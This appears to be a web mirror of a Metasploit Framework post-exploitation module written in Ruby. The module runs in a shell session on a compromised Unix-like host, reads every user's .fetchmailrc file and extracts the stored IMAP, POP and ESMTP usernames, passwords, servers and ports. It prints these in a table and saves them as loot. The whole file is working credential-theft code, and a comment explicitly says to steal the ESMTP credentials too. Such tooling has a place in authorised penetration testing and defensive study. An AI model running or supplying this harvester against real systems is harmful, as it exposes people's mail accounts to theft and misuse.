Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/fetchmailrc_creds.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'UNIX Gather .fetchmailrc Credentials',
15
'Description' => %q{
16
Post Module to obtain credentials saved for IMAP, POP and other mail
17
retrieval protocols in fetchmail's .fetchmailrc
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
21
'Platform' => %w[bsd linux osx unix],
22
'SessionTypes' => [ 'shell' ],
23
'Notes' => {
24
'Stability' => [CRASH_SAFE],
25
'SideEffects' => [],
26
'Reliability' => []
27
}
28
)
29
)
30
end
31
32
def run
33
# A table to store the found credentials.
34
cred_table = Rex::Text::Table.new(
35
'Header' => '.fetchmailrc credentials',
36
'Indent' => 1,
37
'Columns' =>
38
[
39
'Username',
40
'Password',
41
'Server',
42
'Protocol',
43
'Port'
44
]
45
)
46
47
# walk through each user directory
48
enum_user_directories.each do |user_dir|
49
fetchmailrc_file = ::File.join(user_dir, '.fetchmailrc')
50
unless readable? fetchmailrc_file
51
vprint_error("Couldn't read #{fetchmailrc_file}")
52
next
53
end
54
print_status("Reading: #{fetchmailrc_file}")
55
# read their .fetchmailrc if it exists
56
lines = read_file(fetchmailrc_file).each_line.to_a
57
next if (lines.size <= 0)
58
59
print_status("Parsing #{fetchmailrc_file}")
60
61
# delete any comments
62
lines.delete_if { |l| l =~ /^#/ }
63
# trim any leading/trailing whitespace
64
lines.map(&:strip!)
65
# turn any multi-line config options into a single line to ease parsing
66
(lines.size - 1).downto(0) do |i|
67
# if the line we are reading doesn't signify a new configuration section...
68
next if ((lines[i] =~ /^(?:defaults|poll|skip)\s+/))
69
70
# append the current line to the previous
71
lines[i - 1] << ' '
72
lines[i - 1] << lines[i]
73
# and axe the current line
74
lines.delete_at(i)
75
end
76
77
# any default options found, used as defaults for poll or skip lines
78
# that are missing options and want to use defaults
79
defaults = {}
80
81
# now parse each line found
82
lines.each do |line|
83
# if there is a 'default' line, save any of these options as
84
# they should be used when subsequent poll/skip lines are missing them.
85
if (line =~ /^defaults/)
86
defaults = parse_fetchmailrc_line(line).first
87
next
88
end
89
90
# now merge the currently parsed line with whatever defaults may have
91
# been found, then save if there is enough to save
92
parse_fetchmailrc_line(line).each do |cred|
93
cred = defaults.merge(cred)
94
if cred[:host] && cred[:protocol]
95
if (cred[:users].size == cred[:passwords].size)
96
cred[:users].each_index do |i|
97
cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]
98
end
99
else
100
print_error("Skipping '#{line}' -- number of users and passwords not equal")
101
end
102
end
103
end
104
end
105
end
106
107
if cred_table.rows.empty?
108
print_status('No creds collected')
109
else
110
print_line("\n" + cred_table.to_s)
111
112
# store all found credentials
113
p = store_loot(
114
'fetchmailrc.creds',
115
'text/csv',
116
session,
117
cred_table.to_csv,
118
'fetchmailrc_credentials.txt',
119
'.fetchmailrc credentials'
120
)
121
122
print_status("Credentials stored in: #{p}")
123
end
124
end
125
126
# Parse a line +line+, assumed to be from a fetchmail configuration file,
127
# returning an array of all credentials found on that line
128
def parse_fetchmailrc_line(line)
129
creds = []
130
cred = {}
131
# parse and clean any users
132
users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten
133
unless users.empty?
134
cred[:users] = []
135
users.each do |user|
136
cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '')
137
end
138
end
139
# parse and clean any passwords
140
passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten
141
unless passwords.empty?
142
cred[:passwords] = []
143
passwords.each do |password|
144
cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '')
145
end
146
end
147
# parse any hosts, ports and protocols
148
cred[:protocol] = ::Regexp.last_match(1) if (line =~ /\s+proto(?:col)?\s+(\S+)/)
149
cred[:port] = ::Regexp.last_match(1) if (line =~ /\s+(?:port|service)\s+(\S+)/)
150
cred[:host] = ::Regexp.last_match(1) if (line =~ /^(?:poll|skip)\s+(\S+)/)
151
# a 'via' option overrides poll/skip
152
cred[:host] = ::Regexp.last_match(1) if (line =~ /\s+via\s+(\S+)/)
153
# save this credential
154
creds << cred
155
# fetchmail can also "forward" mail by pulling it down with POP/IMAP and then
156
# connecting to some SMTP server and sending it. If ESMTP AUTH (RFC 2554) credentials
157
# are specified, steal those too.
158
cred = {}
159
cred[:users] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtpname\s+(\S+)/)
160
cred[:passwords] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtppassword\s+(\S+)/)
161
# XXX: what is the best way to get the host we are currently looting? localhost is lame.
162
cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? ::Regexp.last_match(1) : 'localhost')
163
cred[:protocol] = 'esmtp'
164
# save the ESMTP credentials if we've found enough
165
creds << cred if cred[:users] && cred[:passwords] && cred[:host]
166
# return all found credentials
167
creds
168
end
169
end
170
171